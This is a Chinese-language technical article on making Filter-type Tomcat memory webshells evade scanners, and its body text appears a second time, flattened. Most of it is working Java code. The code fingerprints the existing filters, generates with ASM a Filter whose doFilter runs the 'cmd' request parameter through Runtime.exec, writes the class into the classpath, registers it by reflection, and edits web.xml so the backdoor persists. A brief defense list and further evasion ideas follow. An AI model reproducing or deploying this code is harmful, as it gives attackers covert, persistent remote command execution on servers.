探索Filter型Tomcat内存马的免杀
字数 1054 2025-08-09 09:46:33

Filter型Tomcat内存马免杀技术研究

1. 内存马查杀原理分析

当前主流工具对Filter型内存马的查杀主要基于以下4个检测点:

  1. Filter名称合理性检查:检测Filter名称是否符合常规命名规范
  2. 类名合理性检查:检测Filter对应的类名是否符合项目命名规范
  3. 类路径检查:检测Filter对应的类是否存在于classpath下
  4. web.xml配置检查:检测网站web.xml中是否存在该filter的配置

2. 免杀技术实现方案

2.1 信息收集阶段

首先需要收集目标系统中已存在的Filter信息,为后续伪造做准备:

// 获取当前上下文
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();

// 获取现有filter配置和映射
HashMap<String, Object> filterConfigs1 = getFilterConfig(standardCtx);
Object[] filterMaps1 = getFilterMaps(standardCtx);
List<String> names = new ArrayList<>();

// 遍历已存在的filter
for (int i = 0; i < filterMaps1.length; i++) {
    Object fm = filterMaps1[i];
    Object appFilterConfig = filterConfigs1.get(getFilterName(fm));
    if (appFilterConfig == null) {
        continue;
    }
    
    // 获取filter实例
    Field _filter = appFilterConfig.getClass().getDeclaredField("filter");
    _filter.setAccessible(true);
    Object filter = _filter.get(appFilterConfig);
    
    // 获取类名和包名
    String filterClassName = filter.getClass().getName();
    ApplicationFilterConfig afc = (ApplicationFilterConfig) appFilterConfig;
    
    // 提取包名
    String[] temp = filterClassName.split("\\.");
    StringBuilder tmpName = new StringBuilder();
    for (int j = 0; j < temp.length - 1; j++) {
        tmpName.append(temp[j]);
        if (j != temp.length - 2) {
            tmpName.append(".");
        }
    }
    
    // 排除tomcat系统filter
    if (tmpName.toString().contains("org.apache.tomcat")) {
        continue;
    }
    
    // 记录项目自定义filter的包名和类名
    startName = tmpName.toString();
    URL url = filter.getClass().getResource("");
    path = url.toString();
    names.add(afc.getFilterName());
}

// 格式化包名路径
startName = startName.replaceAll("\\.", "/");
path = path.split("file:/")[1];

2.2 Filter名称伪装

从常见filter名称列表中选取一个不与现有filter冲突的名称:

String[] nameArray = new String[]{"testFilter", "loginFilter", "coreFilter", 
                                 "userFilter", "manageFilter", "shiroFilter", "indexFilter"};
List<String> nameList = Arrays.asList(nameArray);
Collections.shuffle(nameList);

String finalName = null;
for (String s : nameArray) {
    if (names.contains(s)) {
        continue;
    }
    finalName = s;
}
if (finalName == null) {
    return;
}

// 驼峰命名处理
String newClassName = finalName;
byte[] items = newClassName.getBytes();
items[0] = (byte)((char)items[0]-'a'+'A');
newClassName = new String(items);

2.3 动态字节码生成

使用ASM框架动态生成Filter类的字节码:

public static byte[] getFilter(String fullName) {
    ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
    MethodVisitor methodVisitor;
    
    // 定义类结构
    classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, fullName, null, 
                     "java/lang/Object", new String[]{"javax/servlet/Filter"});
    
    // 构造函数
    methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
    methodVisitor.visitCode();
    methodVisitor.visitVarInsn(ALOAD, 0);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
    methodVisitor.visitInsn(RETURN);
    methodVisitor.visitMaxs(1, 1);
    methodVisitor.visitEnd();
    
    // init方法
    methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "init", 
                                          "(Ljavax/servlet/FilterConfig;)V", 
                                          null, new String[]{"javax/servlet/ServletException"});
    methodVisitor.visitCode();
    methodVisitor.visitInsn(RETURN);
    methodVisitor.visitMaxs(0, 2);
    methodVisitor.visitEnd();
    
    // doFilter方法(核心恶意代码)
    methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "doFilter", 
                                          "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V", 
                                          null, new String[]{"java/io/IOException", "javax/servlet/ServletException"});
    methodVisitor.visitCode();
    methodVisitor.visitVarInsn(ALOAD, 1);
    methodVisitor.visitTypeInsn(CHECKCAST, "javax/servlet/http/HttpServletRequest");
    methodVisitor.visitVarInsn(ASTORE, 4);
    methodVisitor.visitVarInsn(ALOAD, 4);
    methodVisitor.visitLdcInsn("cmd");
    methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/http/HttpServletRequest", 
                                "getParameter", "(Ljava/lang/String;)Ljava/lang/String;", true);
    Label label0 = new Label();
    methodVisitor.visitJumpInsn(IFNULL, label0);
    
    // 命令执行逻辑
    methodVisitor.visitIntInsn(SIPUSH, 1024);
    methodVisitor.visitIntInsn(NEWARRAY, T_BYTE);
    methodVisitor.visitVarInsn(ASTORE, 5);
    methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
    methodVisitor.visitVarInsn(ALOAD, 4);
    methodVisitor.visitLdcInsn("cmd");
    methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/http/HttpServletRequest", 
                                "getParameter", "(Ljava/lang/String;)Ljava/lang/String;", true);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
    methodVisitor.visitVarInsn(ASTORE, 6);
    methodVisitor.visitVarInsn(ALOAD, 6);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
    methodVisitor.visitVarInsn(ALOAD, 5);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false);
    methodVisitor.visitVarInsn(ISTORE, 7);
    methodVisitor.visitVarInsn(ALOAD, 2);
    methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/ServletResponse", 
                                "getWriter", "()Ljava/io/PrintWriter;", true);
    methodVisitor.visitTypeInsn(NEW, "java/lang/String");
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitVarInsn(ALOAD, 5);
    methodVisitor.visitInsn(ICONST_0);
    methodVisitor.visitVarInsn(ILOAD, 7);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/String", "<init>", "([BII)V", false);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/PrintWriter", "write", "(Ljava/lang/String;)V", false);
    methodVisitor.visitVarInsn(ALOAD, 6);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "destroy", "()V", false);
    methodVisitor.visitInsn(RETURN);
    
    // 正常请求处理
    methodVisitor.visitLabel(label0);
    methodVisitor.visitVarInsn(ALOAD, 3);
    methodVisitor.visitVarInsn(ALOAD, 1);
    methodVisitor.visitVarInsn(ALOAD, 2);
    methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain", 
                                "doFilter", "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V", true);
    methodVisitor.visitInsn(RETURN);
    methodVisitor.visitMaxs(6, 8);
    methodVisitor.visitEnd();
    
    // destroy方法
    methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "destroy", "()V", null, null);
    methodVisitor.visitCode();
    methodVisitor.visitInsn(RETURN);
    methodVisitor.visitMaxs(0, 1);
    methodVisitor.visitEnd();
    
    classWriter.visitEnd();
    return classWriter.toByteArray();
}

2.4 写入classpath

将生成的恶意Filter类写入目标classpath:

byte[] code = getFilter(startName + "/" + newClassName);
Files.write(Paths.get(path + "/" + newClassName + ".class"), code);
String tmpName = startName + "/" + newClassName;
tmpName = tmpName.replaceAll("/", ".");

2.5 注册Filter

通过反射实例化并注册恶意Filter:

// 反射加载并实例化Filter
Class<?> c = standardContext.getClass().forName(tmpName);
Filter filter = (Filter) c.newInstance();

// 注册FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(finalName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

// 设置Filter映射
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(finalName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

// 创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(finalName, filterConfig);

2.6 修改web.xml配置

修改编译后的web.xml文件,添加恶意Filter配置:

// 构造要插入的filter配置
String targetData = "    <filter>\n" +
        "        <filter-name>%s</filter-name>\n" +
        "        <filter-class>%s</filter-class>\n" +
        "        <init-param>\n" +
        "            <param-name>charset</param-name>\n" +
        "            <param-value>UTF-8</param-value>\n" +
        "        </init-param>\n" +
        "    </filter>\n" +
        "    <filter-mapping>\n" +
        "        <filter-name>%s</filter-name>\n" +
        "        <url-pattern>/*</url-pattern>\n" +
        "    </filter-mapping>\n";

String className1 = startName + "/" + newClassName;
className1 = className1.replaceAll("/", ".");
targetData = String.format(targetData, finalName, className1, finalName);

// 定位web.xml路径
String resourcePath = filter.getClass().getResource("").toString();
resourcePath = resourcePath.split("file:/")[1];
resourcePath = resourcePath.split("WEB-INF")[0];
String xmlPath = resourcePath + "WEB-INF/web.xml";

// 修改web.xml内容
byte[] data = Files.readAllBytes(Paths.get(xmlPath));
String dataStr = new String(data);
String prefix = dataStr.split("</web-app>")[0];
StringBuilder finalData = new StringBuilder();
finalData.append(prefix);
finalData.append(targetData);
finalData.append("</web-app>");

// 写入修改后的web.xml
Files.write(Paths.get(xmlPath), finalData.toString().getBytes(StandardCharsets.UTF_8));

3. 技术特点与防御建议

3.1 技术特点

  1. 高度伪装性

    • 使用与项目一致的包名结构
    • 采用常见Filter命名
    • 类文件实际存在于classpath中
    • web.xml中有对应配置
  2. 持久化能力

    • 恶意类文件已写入磁盘
    • web.xml配置已修改
    • 服务重启后仍会加载
  3. 动态生成

    • 根据目标环境动态生成恶意类
    • 无需提前准备恶意class文件

3.2 防御建议

  1. 加强代码审计

    • 对新增的Filter类进行严格审查
    • 检查classpath下可疑的类文件
  2. 运行时监控

    • 监控Filter的动态注册行为
    • 检测web.xml的异常修改
  3. 安全加固

    • 限制对WEB-INF目录的写权限
    • 使用安全管理器限制敏感操作
  4. 深度检测

    • 不仅检查Filter配置,还需检查Filter类的实际行为
    • 对class文件进行静态分析,检测恶意代码

4. 进阶思路

  1. 框架Filter注入:将恶意代码隐藏到框架必须的Filter中,而非新增Filter
  2. 代码混淆:对生成的恶意字节码进行混淆,增加检测难度
  3. 条件触发:设置特定条件才激活恶意行为,增加隐蔽性

5. 总结

本文详细分析了Filter型Tomcat内存马的免杀技术,通过动态字节码生成、合理命名伪装、修改web.xml配置等手段,实现了对现有检测方法的绕过。防御方需要采取多层次、深度的检测手段才能有效防范此类攻击。

Filter型Tomcat内存马免杀技术研究 1. 内存马查杀原理分析 当前主流工具对Filter型内存马的查杀主要基于以下4个检测点: Filter名称合理性检查 :检测Filter名称是否符合常规命名规范 类名合理性检查 :检测Filter对应的类名是否符合项目命名规范 类路径检查 :检测Filter对应的类是否存在于classpath下 web.xml配置检查 :检测网站web.xml中是否存在该filter的配置 2. 免杀技术实现方案 2.1 信息收集阶段 首先需要收集目标系统中已存在的Filter信息,为后续伪造做准备: 2.2 Filter名称伪装 从常见filter名称列表中选取一个不与现有filter冲突的名称: 2.3 动态字节码生成 使用ASM框架动态生成Filter类的字节码: 2.4 写入classpath 将生成的恶意Filter类写入目标classpath: 2.5 注册Filter 通过反射实例化并注册恶意Filter: 2.6 修改web.xml配置 修改编译后的web.xml文件,添加恶意Filter配置: 3. 技术特点与防御建议 3.1 技术特点 高度伪装性 : 使用与项目一致的包名结构 采用常见Filter命名 类文件实际存在于classpath中 web.xml中有对应配置 持久化能力 : 恶意类文件已写入磁盘 web.xml配置已修改 服务重启后仍会加载 动态生成 : 根据目标环境动态生成恶意类 无需提前准备恶意class文件 3.2 防御建议 加强代码审计 : 对新增的Filter类进行严格审查 检查classpath下可疑的类文件 运行时监控 : 监控Filter的动态注册行为 检测web.xml的异常修改 安全加固 : 限制对WEB-INF目录的写权限 使用安全管理器限制敏感操作 深度检测 : 不仅检查Filter配置,还需检查Filter类的实际行为 对class文件进行静态分析,检测恶意代码 4. 进阶思路 框架Filter注入 :将恶意代码隐藏到框架必须的Filter中,而非新增Filter 代码混淆 :对生成的恶意字节码进行混淆,增加检测难度 条件触发 :设置特定条件才激活恶意行为,增加隐蔽性 5. 总结 本文详细分析了Filter型Tomcat内存马的免杀技术,通过动态字节码生成、合理命名伪装、修改web.xml配置等手段,实现了对现有检测方法的绕过。防御方需要采取多层次、深度的检测手段才能有效防范此类攻击。